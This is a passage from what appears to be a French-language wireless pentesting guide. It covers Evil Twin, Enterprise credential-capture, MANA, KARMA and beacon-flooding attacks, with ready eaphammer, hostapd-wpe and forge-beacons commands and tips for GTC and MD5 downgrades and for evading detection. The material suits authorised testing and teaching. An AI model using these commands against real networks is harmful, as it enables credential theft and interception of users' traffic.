Vous pouvez Ă©galement crĂ©er un Evil Twin en utilisant eaphammer (notez que pour crĂ©er des evil twins avec eaphammer, l'interface ne doit PAS ĂȘtre en mode monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ou en utilisant Airgeddon : Options : 5,6,7,8,9 (dans le menu d'attaque Evil Twin).
Veuillez noter qu'en rÚgle générale, si un ESSID dans le PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un Evil Twin ouvert. Vous pouvez essayer de DoS le vrai AP et espérer que l'utilisateur se connecte manuellement à votre Evil Twin ouvert, ou vous pourriez DoS le vrai AP et utiliser un WPA Evil Twin pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et essayer de le cracker).
Certains systÚmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux...
WPA/WPA2 Evil Twin
Vous pouvez créer un Evil Twin utilisant WPA/2 et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont essayer de se connecter. Quoi qu'il en soit, pour compléter le 4-way-handshake, vous devez également connaßtre le mot de passe que le client va utiliser. Si vous ne le connaissez pas, la connexion ne sera pas complétée.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Pour comprendre ces attaques, je recommande de lire d'abord le bref WPA Enterprise explanation.
Utilisation de hostapd-wpe
hostapd-wpe
nécessite un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pouvez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python à l'intérieur de /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Dans le fichier de configuration, vous pouvez sélectionner de nombreuses choses différentes comme ssid, canal, fichiers utilisateur, cret/key, paramÚtres dh, version wpa et auth...
Utiliser hostapd-wpe avec EAP-TLS pour permettre Ă n'importe quel certificat de se connecter.
Utiliser EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Par défaut, EAPHammer propose ces méthodes d'authentification (notez GTC comme la premiÚre à essayer pour obtenir des mots de passe en clair, puis l'utilisation de méthodes d'authentification plus robustes) :
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cependant, vous pouvez également spécifier aux serveurs les méthodes d'authentification du plus faible au plus fort :
--negotiate weakest
Ou vous pourriez Ă©galement utiliser :
--negotiate gtc-downgrade
pour utiliser une implémentation de downgrade GTC trÚs efficace (mots de passe en texte clair)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
pour spĂ©cifier manuellement les mĂ©thodes proposĂ©es (offrir les mĂȘmes mĂ©thodes d'authentification dans le mĂȘme ordre que l'organisation rendra l'attaque beaucoup plus difficile Ă dĂ©tecter).- Trouvez plus d'infos dans le wiki
Utilisation d'Airgeddon
Airgeddon
peut utiliser des certificats précédemment générés pour offrir une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le réseau factice va rétrograder le protocole de connexion à EAP-MD5 afin de pouvoir capturer l'utilisateur et le MD5 du mot de passe. Plus tard, l'attaquant peut essayer de cracker le mot de passe.
Airgeddon
vous offre la possibilité d'une attaque Evil Twin continue (bruyante) ou de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (silencieuse).
DĂ©bogage des tunnels TLS PEAP et EAP-TTLS dans les attaques Evil Twins
Cette méthode a été testée dans une connexion PEAP mais comme je déchiffre un tunnel TLS arbitraire, cela devrait également fonctionner avec EAP-TTLS
Dans la configuration de hostapd-wpe, commentez la ligne contenant dh_file (de dh_file=/etc/hostapd-wpe/certs/dh
Ă #dh_file=/etc/hostapd-wpe/certs/dh
)
Cela fera que hostapd-wpe
échange des clés en utilisant RSA au lieu de DH, vous permettant ainsi de décrypter le trafic plus tard en connaissant la clé privée du serveur.
Maintenant, démarrez le Evil Twin en utilisant hostapd-wpe
avec cette configuration modifiée comme d'habitude. Démarrez également wireshark
dans l'interface qui effectue l'attaque Evil Twin.
Maintenant ou plus tard (lorsque vous avez déjà capturé quelques tentatives d'authentification), vous pouvez ajouter la clé RSA privée à wireshark dans : Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : Adresse IP = any -- Port = 0 -- Protocole = data -- Fichier de clé (sélectionnez votre fichier de clé, pour éviter les problÚmes, sélectionnez un fichier de clé sans protection par mot de passe).
Et regardez le nouvel onglet "TLS déchiffré" :
KARMA, MANA, Loud MANA et attaque de balises connues
ESSID et listes noires/blanches MAC
Différents types de listes de filtres d'accÚs aux médias (MFACLs) et leurs modes et effets correspondants sur le comportement d'un point d'accÚs (AP) malveillant :
- Liste blanche basée sur MAC :
- Le point d'accĂšs malveillant ne rĂ©pondra qu'aux requĂȘtes de sonde des appareils spĂ©cifiĂ©s dans la liste blanche, restant invisible Ă tous les autres non listĂ©s.
- Liste noire basée sur MAC :
- Le point d'accĂšs malveillant ignorera les requĂȘtes de sonde des appareils sur la liste noire, rendant effectivement le point d'accĂšs malveillant invisible Ă ces appareils spĂ©cifiques.
- Liste blanche basée sur SSID :
- Le point d'accĂšs malveillant rĂ©pondra aux requĂȘtes de sonde uniquement pour des ESSIDs spĂ©cifiques listĂ©s, le rendant invisible aux appareils dont les listes de rĂ©seaux prĂ©fĂ©rĂ©s (PNLs) ne contiennent pas ces ESSIDs.
- Liste noire basée sur SSID :
- Le point d'accĂšs malveillant ne rĂ©pondra pas aux requĂȘtes de sonde pour les ESSIDs spĂ©cifiques sur la liste noire, le rendant invisible aux appareils recherchant ces rĂ©seaux particuliers.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Cette mĂ©thode permet Ă un attaquant de crĂ©er un point d'accĂšs malveillant (AP) qui rĂ©pond Ă toutes les requĂȘtes de sonde des appareils cherchant Ă se connecter Ă des rĂ©seaux. Cette technique trompe les appareils en les faisant se connecter Ă l'AP de l'attaquant en imitant les rĂ©seaux que les appareils recherchent. Une fois qu'un appareil envoie une demande de connexion Ă cet AP malveillant, il complĂšte la connexion, conduisant l'appareil Ă se connecter par erreur au rĂ©seau de l'attaquant.
MANA
Ensuite, les appareils ont commencĂ© Ă ignorer les rĂ©ponses rĂ©seau non sollicitĂ©es, rĂ©duisant l'efficacitĂ© de l'attaque karma originale. Cependant, une nouvelle mĂ©thode, connue sous le nom d'attaque MANA, a Ă©tĂ© introduite par Ian de Villiers et Dominic White. Cette mĂ©thode implique que l'AP malveillant capture les listes de rĂ©seaux prĂ©fĂ©rĂ©s (PNL) des appareils en rĂ©pondant Ă leurs requĂȘtes de sonde diffusĂ©es avec des noms de rĂ©seaux (SSID) prĂ©cĂ©demment sollicitĂ©s par les appareils. Cette attaque sophistiquĂ©e contourne les protections contre l'attaque karma originale en exploitant la façon dont les appareils se souviennent et priorisent les rĂ©seaux connus.
L'attaque MANA fonctionne en surveillant Ă la fois les requĂȘtes de sonde dirigĂ©es et diffusĂ©es des appareils. Pour les requĂȘtes dirigĂ©es, elle enregistre l'adresse MAC de l'appareil et le nom du rĂ©seau demandĂ©, ajoutant ces informations Ă une liste. Lorsqu'une requĂȘte diffusĂ©e est reçue, l'AP rĂ©pond avec des informations correspondant Ă l'un des rĂ©seaux de la liste de l'appareil, incitant l'appareil Ă se connecter Ă l'AP malveillant.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Une attaque Loud MANA est une stratĂ©gie avancĂ©e pour les cas oĂč les appareils n'utilisent pas de sondage dirigĂ© ou lorsque leurs listes de rĂ©seaux prĂ©fĂ©rĂ©s (PNL) sont inconnues de l'attaquant. Elle fonctionne sur le principe que les appareils dans la mĂȘme zone sont susceptibles de partager certains noms de rĂ©seau dans leurs PNL. Au lieu de rĂ©pondre de maniĂšre sĂ©lective, cette attaque diffuse des rĂ©ponses de sonde pour chaque nom de rĂ©seau (ESSID) trouvĂ© dans les PNL combinĂ©es de tous les appareils observĂ©s. Cette approche large augmente la chance qu'un appareil reconnaisse un rĂ©seau familier et tente de se connecter au point d'accĂšs (AP) malveillant.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Lorsque l'attaque Loud MANA peut ne pas suffire, l'attaque Known Beacon prĂ©sente une autre approche. Cette mĂ©thode force le processus de connexion en simulant un AP qui rĂ©pond Ă n'importe quel nom de rĂ©seau, en parcourant une liste d'ESSIDs potentiels dĂ©rivĂ©s d'une liste de mots. Cela simule la prĂ©sence de nombreux rĂ©seaux, espĂ©rant faire correspondre un ESSID dans la PNL de la victime, incitant Ă une tentative de connexion Ă l'AP fabriquĂ©. L'attaque peut ĂȘtre amplifiĂ©e en la combinant avec l'option --loud
pour une tentative plus agressive d'attraper des appareils.
Eaphammer a implĂ©mentĂ© cette attaque comme une attaque MANA oĂč tous les ESSIDs d'une liste sont chargĂ©s (vous pouvez Ă©galement combiner cela avec --loud
pour créer une attaque Loud MANA + Known beacons) :
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Attaque de Beacon Burst connue
L'attaque de Beacon Burst connue implique la diffusion rapide de trames de beacon pour chaque ESSID répertorié dans un fichier. Cela crée un environnement dense de réseaux fictifs, augmentant considérablement la probabilité que des appareils se connectent à l'AP malveillant, surtout lorsqu'elle est combinée avec une attaque MANA. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct est un protocole permettant aux appareils de se connecter directement entre eux via Wi-Fi sans avoir besoin d'un point d'accĂšs sans fil traditionnel